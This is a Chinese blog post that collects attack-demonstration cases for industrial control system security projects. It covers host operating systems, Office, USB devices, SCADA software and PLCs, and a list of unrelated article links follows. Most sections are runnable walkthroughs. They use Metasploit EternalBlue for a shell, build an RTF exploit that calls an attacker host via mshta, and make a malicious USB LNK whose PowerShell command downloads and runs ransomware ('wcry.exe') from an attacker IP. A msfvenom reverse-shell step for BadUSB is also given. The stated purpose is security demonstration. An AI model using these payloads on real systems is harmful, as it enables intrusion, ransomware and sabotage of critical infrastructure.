工控安全:攻防演示案例分享
列举一些可以在工控安全项目中用的攻防演示案例,持续更新......
前言
在某核电的安全项目中,感谢公司leader信任让我负责项目的总体方案设计、攻防案例设计、安全防护等方案,经过前期大量的搜索、复现、思考、选取,顺利完成该项目的建设实施。于是,在此文中分享一些可以在工控安全项目中进行攻防演示的案例,以供大家参考。
针对工控系统上位机操作系统攻防案例
漏洞一:永恒之蓝
MS17-010 (永恒之蓝Eternalblue)
漏洞描述
永恒之蓝(Eternalblue)通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
漏洞影响
目前已知受影响的 Windows 版本包括但不限于:Windows NT,Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012等。
演示步骤
1.使用nmap对目标进行扫描,确定目标存在永恒之蓝漏洞,执行如下命令nmap --script smb-vuln-ms17-010 192.168.28.128
2.使用Metasploit对目标进行攻击,执行如下操作
输入msfconsole启动Metasploit
在Metasploit中,输入search ms17-010
查找永恒之蓝漏洞
输入use exploit/windows/smb/ms17_010_eternalblue
选择漏洞利用模块
输入show options
查看当前攻击配置
将配置中第一行的RHOST
修改为目标IP地址
配置完成后,输入run
命令执行漏洞攻击,如果执行成功,会获得目标机器windows系统的shell终端,可对该目标机器执行任何命令
针对工控系统上位机办公软件攻防案例
漏洞一:噩梦公式二代
CVE-2017-11882&CVE-2018-0802 (Microsoft Office内存破坏漏洞)
漏洞描述
在2017年11月14日,微软发布11月份安全补丁更新,其中更新了潜伏17年之久的Office远程代码执行漏洞(CVE-2017-11882) “噩梦公式一代“,而在2018年1月,又爆出了office 0day漏洞(CVE-2018-0802),该漏洞的技术原理类似17年修补的漏洞,是由于office公式编辑器组件EQNEDT32.EXE,对字体名的长度没有进行长度检验,导致攻击者可以通过构造恶意的字体名,执行任意代码。
漏洞影响
- Microsoft Office 2007 Service Pack 3
- Microsoft Office 2010 Service Pack 2
- Microsoft Office 2013 Service Pack 1
- Microsoft Office 2016
演示步骤
1.下载漏洞利用脚本备用https://github.com/Ridter/RTF_11882_0802/blob/master/RTF_11882_0802.py
2.使用Metasploit生成攻击反向控制后门文件
3.使用漏洞利用脚本,执行如下命令,生成包含漏洞的office文件python RTF_11882_0802.py -c "mshta http://192.168.103.152:8080/123" -o test.doc
4.将生成的test.doc文件,利用一些手段传给目标,当目标打开此文件时,会反弹出一个shell会话到攻击机,此时,攻击者已经控制了目标
针对工控系统上位机USB外设攻防案例
攻击手法一:震网三代
2010年,攻击伊朗核工厂的漏洞利用工具就是“震网一代”,它因此被公认为世界上首个网络“超级破坏性武器”。
2011 年,“震网二代”蠕虫病毒出现,因为它会在临时目录下生成名为~DQ 的随机文件,也被称作Duqu。
2017年6月14日凌晨,微软发布安全公告称,Windows快捷方式存在高危漏洞(CVE-2017-8464),黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统。3此漏洞与震网病毒攻破伊朗核电站使用的漏洞非常相似,对能源、交通、金融等基础设施隔离网极具杀伤力,因此定义为“震网三代”漏洞。
漏洞简介
“震网三代”漏洞是Windows系统在处理LNK文件(快捷方式)过程中发生的远程代码执行漏洞。当存在漏洞的电脑被插入恶意U盘时,不需要任何操作,漏洞攻击程序就可以完全控制用户的电脑系统。该漏洞也可能由用户访问网络共享、网络下载、拷贝文件等操作被触发和植入木马。
“震网三代”漏洞的原理与震网病毒入侵破坏伊朗核设施所使用的漏洞(CVE-2010-2568)非常相似,都可以穿透隔离网络。由于物理隔离的基础设施和核心网络通常需要使用U盘、移动硬盘等存储设备进行数据交换,能够通过U盘触发的“震网三代”漏洞就成为渗透控制隔离网的大杀器,其威力完全不亚于前两代震网攻击。
“震网三代”漏洞影响从Vista到Win 10的所有主流版本,XP和2003则不受影响。目前微软已经发布了“震网三代”漏洞补丁,同期还修复了Windows搜索远程命令执行漏洞(CVE-2017-8543)等近百个漏洞。
漏洞影响
- Windows 7
- Windows 8.1
- Windows RT 8.1
- Windows 10
- Windows Server 2008
- Windows Server 2008 R2
- Windows Server 2012
- Windows Server 2012 R2
- Windows Server 2016
演示步骤
1.打开msfconsole
,进入metasploit
控制台界面
2.指定攻击模块:use exploits/windows/fileformat/cve_2017_8464_lnk_rce
3.查看模块配置信息:show options
可以指定dll、link文件名
4.设置payload:
反弹meterpreter会话
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.110
可以跟勒索病毒(或者PLC定向攻击脚本)结合,场景是利用震网三代漏洞制作的U盘插入待攻击机器,自动运行勒索程序(或者PLC定向攻击脚本)
set payload windows/x64/exec
set cmd "C:\\Users\\lenovo\\Desktop\\attack.py"
或者利用`powershell`直接远程下载执行,提前利用python假设简单的http服务(python3 -m http.server)
set cmd "powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://192.168.159.151:8000/wcry.exe','wcry.exe');start-process wcry.exe"
5.最后执行exploit
,将生成的文件拷贝进干净、稳定、可用的U盘中即制作成功
攻击手法二:badUSB
原理简述
BadUSB最早是在2014年的黑帽大会上研究人员JakobLell和Karsten Nohl提出并展示的。不同于老式的U盘病毒,它利用了USB协议中的一个漏洞,通过模拟键盘、鼠标、网卡等从而让目标电脑执行恶意代码,达到控住主机或者窃取敏感信息等目的。
从传统意义讲,当你在电脑中插入一张CD/DVD光盘,或者插入一个USB设备时,可以通过自动播放来运行一个包含恶意的文件,不过自动播放功能被关闭时,autorun.inf文件就无法自动执行你的文件了。然而通过TEENSY,你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器,与存储空间,和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。
演示步骤
1.攻击者事先制作好badUSB硬件设备,选择基于ATTINY85微控制器的USB开发板Digispark。
2.使用烧录代码的编译器Arduino IDE,将恶意代码烧录到BadUSB中。
3.配置好相关参数,将开发板设为Digispark,编程器设为USBtinyISP,编写好代码后,就可以点击“上传”按钮,然后插入BadUSB设备,一款简易BadUSB就做好了。
4.使用Metasploit生成攻击反向控制后门文件,执行如下命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=5555 -f exe >shell.exe
5.在MSF服务端,开启监听,等待目标机器中后门反弹回shell
6.攻击者可诱使目标机器的使用者将特制的badusb设备插入目标设备,当目标机器被插上U盘后,即会自动执行内部控制代码,在目标设备上模拟键鼠进行操作,下载执行了后门文件,此时攻击者就获得了目标机器反弹的shell,控制了目标机器。
针对工控系统编程组态软件攻防案例
攻击手法一:震网
Stuxnet(震网)
震网病毒简述
震网传播方式
Stuxnet 蠕虫的攻击目标是 SIMATIC WinCC 软件。后者主要用于工业控制系统的数据采集与监控,一般部署在专用的内部局域网中,并与外部互联网实行物理上的隔离。为了实现攻击,Stuxnet 蠕虫采取多种 手段进行渗透和传播,如图所示
整体的传播思路是:首先感染外部主机;然后感染 U 盘,利用快捷方式文件解析漏洞,传播到内部网络;在内网中,通过快捷方式解析漏洞、RPC 远程执行漏洞、打印机后台程序服务漏洞,实现联网主机之间的传播;最后抵达安装了 WinCC 软件的主机,展开攻击。
一旦发现WinCC系统,就利用其中的两个漏洞展开攻击
- 一个是WinCC系统中存在一个硬编码漏洞,保护访问数据库的默认用户名和密码,Stuxnet利用这一漏洞尝试访问该系统的SQL数据库
- 另一个是WinCC需要使用的Step7工程中,在打开工程文件时,存在DLL加载策略上的缺陷,从而导致一种类似于“DLL预加载攻击”的利用方式。最终,Stuxnet通过替换Step7软件中的s7otbxdx.dll,实现对一些查询、读取函数的Hook。
针对工控系统SCADA系统攻防案例
漏洞一:WebAccess
CVE-2017-16720
漏洞简述
此漏洞允许攻击者使用RPC协议通过TCP端口4592执行远程命令。
通过利用恶意分布式计算环境/远程过程调用(DCERPC),webvrpcs.exe服务将命令行指令传递给主机, webvrpcs.exe服务以管理员访问权限运行。版本小于8.3、8.3.1、8.3.2仍然存在特定的安全漏洞。
演示步骤
参见博主之前发的文章漏洞实验:Advantech WebAccess远程命令执行
针对工控系统PLC攻防案例
攻击手法一:S7-1200启停
针对西门子S7协议或罗克韦尔AB Ethernet/IP、施耐德Modbus等工控协议,攻击者通过对主流工控协议的深度分析,向PLC设备发送远程停机、程序上传下载等控制指令数据报文,实现对下位机PLC的非法控制。
演示步骤
参见博主之前发的文章工控安全:S7-1200 PLC远程启停攻击实验
针对工控系统OPC数据通信攻防案例
攻击手法一
利用OPC协议漏洞,在通过OPC服务器与MES服务器进行数据通信过程中,攻击者可以伪装成合法的OPC Client对工控系统数据进行读写。
持续更新......
http://www.taodudu.cc/news/show-4358282.html
相关文章:
- OCR文字识别软件哪个好?7大文字识别软件
- 浙大数据结构课后习题 练习一 7-1 Maximum Subsequence Sum (25 分)
- 2019牛客暑期多校训练营(第二场)H Second Large Rectangle
- sdnu1385.Problem A: XOR(连续异或规律)
- 面向对象程序设计(Java) chapter9
- 2020ICPC上海 C.Sum of Log
- 序列基础练习题
- BUUCTF RE WP31-32 [WUSTCTF2020]level1、[GWCTF 2019]xxor
- android 获取sn序列号
- ARM处理器9种基本寻址方式,和单片机微机原理寻址方式截然不同,(例如没有直接地址寻址,只能间接指针寻址或者寄存器变址寻址,立即数寻址,不是所有立即数都可直接寻址)不可套用理解。需独立学习
- 计组高分笔记:【04】指令系统 「指令格式与分类 | CISC、RISC | 直接寻址 | 间接寻址 | 寄存器寻址 | 隐式寻址 | 立即寻址| 基址寻址 | 变址寻址 | 相对寻址 | 堆栈寻址」
- ARMv7 GICv2 GenericTimer 实战演练
- GICv3软件overview手册之介绍
- Python gdal库读取tif文件
- TIMESAT 无格式文件迭代转tif
- 《你该认清你的恐惧,而不是目标》笔记
- October 2nd 2017 Week 40th Monday
- 有智慧地反对
- 67 step to success
- anacondaJupyter相关环境配置及常见问题及pycharm快捷命令(很全!很详细)
- perl生成图片_使用Perl生成模拟数据
- 持续性混吃等死,间歇性踌躇满志 --转自头条
- 程序员用学位证吗_如何成为没有学位或新兵训练的开发人员
- hive计算航班某型号个数_机型分配就是把航班集合按照机型分割成子集。( )...
- find病毒的清理
- 灵遁者散文:婴儿
- GBK转UTF8汉字数量为奇数位时,多出来的末尾汉字会乱码
- PHP计算中文文字个数
- 统计字符串中汉字数目C++
- go语言输出汉字的数量
工控安全:攻防演示案例分享相关推荐
- 工控系统的安全噩梦,网络攻击工控系统的五大案例
70%的IT和运营技术专业人员担心网络攻击会造成计算机和工业系统的物理损坏,这些损坏不仅需要耗费大量财力进行灾后恢复,严重的甚至可能危及人命. 今年3月,美国各机构警告称,俄罗斯政府部门正在针对 ...
- netty 工控网关_开源软件分享-基于.NET的工控网关和组态软件
最近逛github发现一款不错的组态软件,其包括了工控网关和组态界面.其中他的工控网关已支持(Modbus TCP/RTU. OPC DA. Siemens S300/200/1200/1500. P ...
- 【工业物联网基础】工控安全入门分析
专业术语 SCADA:数据采集与监视控制系统 ICS:工业控制系统 DCS:分布式控制系统/集散控制系统 PCS:过程控制系统 ESD:应急停车系统 PLC:可编程序控制器(Programmable ...
- 【肥海豹】-网络安全等级保护(等保)-2020体系会-工控系统学习笔记
讲解专家:电子六所 衣然 一.工业控制系统基本概念 工业控制系统是对生产过程.工艺流程的监控和管理的集合: 工业控制系统是国家工业领域关键信息基础设施的核心系统: 工业控制系统五层架构: 现场设备层. ...
- 顶象入选“工控安全推进分会” 助力贯标试点示范
近日,顶象成为工业控制系统信息安全防护能力推进分会(简称"工控安全推进分会")会员单位,助力工控安全贯标试点示范,帮助工业企业开展工控安全防护工作. 工控安全推进分会由中国电子技术 ...
- 工控攻防演示——从外网到内网控制系统设备的入侵
给实验室写的文章,在安全客上发表,在这里再发下 一.概述 实验目的通过工控靶场学习web渗透.内网渗透.工控安全相关知识技能. 靶场信息本实验通过vmware 搭建了靶场的外网和内网环境,在内网环境中 ...
- XGBoost线性回归工控数据分析实践案例(原生篇)
1. 关于XGBoost XGBoost号称"比赛夺冠的必备大杀器",横扫机器学习Kaggle.天池.DataCastle.Kesci等国内外数据竞赛罕逢敌手,堪称机器学习算法中的 ...
- 提升的控件 paint()事件被遮挡_设计锦囊 | 提升产品易用性案例分享
提升产品易用性 案例分享 Design Tips 设计锦囊: 产品无言,细节有声,项目管理部不定期为大家分享产品设计中的优秀案例及解读,从微小之处学习产品的设计之道,通过学习沉淀将知识其转为工作所用, ...
- 工控系统安全测试平台及攻防验证【会议】
工控系统安全测试平台及攻防验证 写在前面的话 会议记录 写在前面的话 <网络空间安全青年科学家长安论坛>,本篇博客为广州大学田志宏老师的报告内容. 会议记录
最新文章
- Java axis 配置host_Java AxisProperties类代码示例
- GridView利用FootTemplate插入新记录
- Xamarin XAML语言教程使用使用Progress属性设置当前进度
- 模拟手指触摸 Android,TouchLib
- VB.NET工作笔记009---硬件设备写码工具编写_使用串口通信_发送AT指令
- 2021-2025年中国制药行业MR报告软件行业市场供需与战略研究报告
- java合并后求和_Java8使用stream实现list中对象属性的合并(去重并求和)
- Java设计模式(详细待续)(转)
- 国内移动CRM市场规模不及salesforce年营收3%
- jquery ajax修改密码,提交form表单---修改密码 ajax、jQuery
- GPS 相关知识科普
- access数据库窗体设计实验报告_Access2010实验报告
- [线性模型总结] 线性回归+方差分析+协方差分析+混合效应+面板数据模型
- python except exception_Python 获取异常(Exception)信息的几种方法
- Latex-条目、编号、描述
- php 下载的文件损坏,PHP readfile()导致文件下载损坏
- mt6355功率设计注意事项 [仅为mt6758]
- 盲沟低比?不不不,是芒果的笔,今天学一下分布式文件存储数据库MongoDB。
- cad计算机面积和周长,CAD怎么计算二维图形的面积和周长
- docker-compose links depend on 使用的两种方式
热门文章
- html table设置行高_单元格的行高怎么设置 html语言怎么设置设置表格行高?
- Elliptic Curve Cryptography: a gentle introduction
- 面向95后的营销和增长,你需要知道这些( ゜- ゜)つロ 乾杯
- php++内购续期订阅,appstore:内购项目之自动续期订阅
- challenge是什么意思_英语单词学习-challenge是什么意思_翻译_用法_例句
- 怎么用python编写程序计算标准差_自学生信Python(第五天)|如何计算标准差?...
- mysql 悲观锁 的运用
- 高新技术企业补贴如何申请?
- 南卫理公会大学计算机科学,南卫理公会大学计算机科学与工程硕士
- Python中字符串的反转,及sord、 sorted、reverse、reversed的区别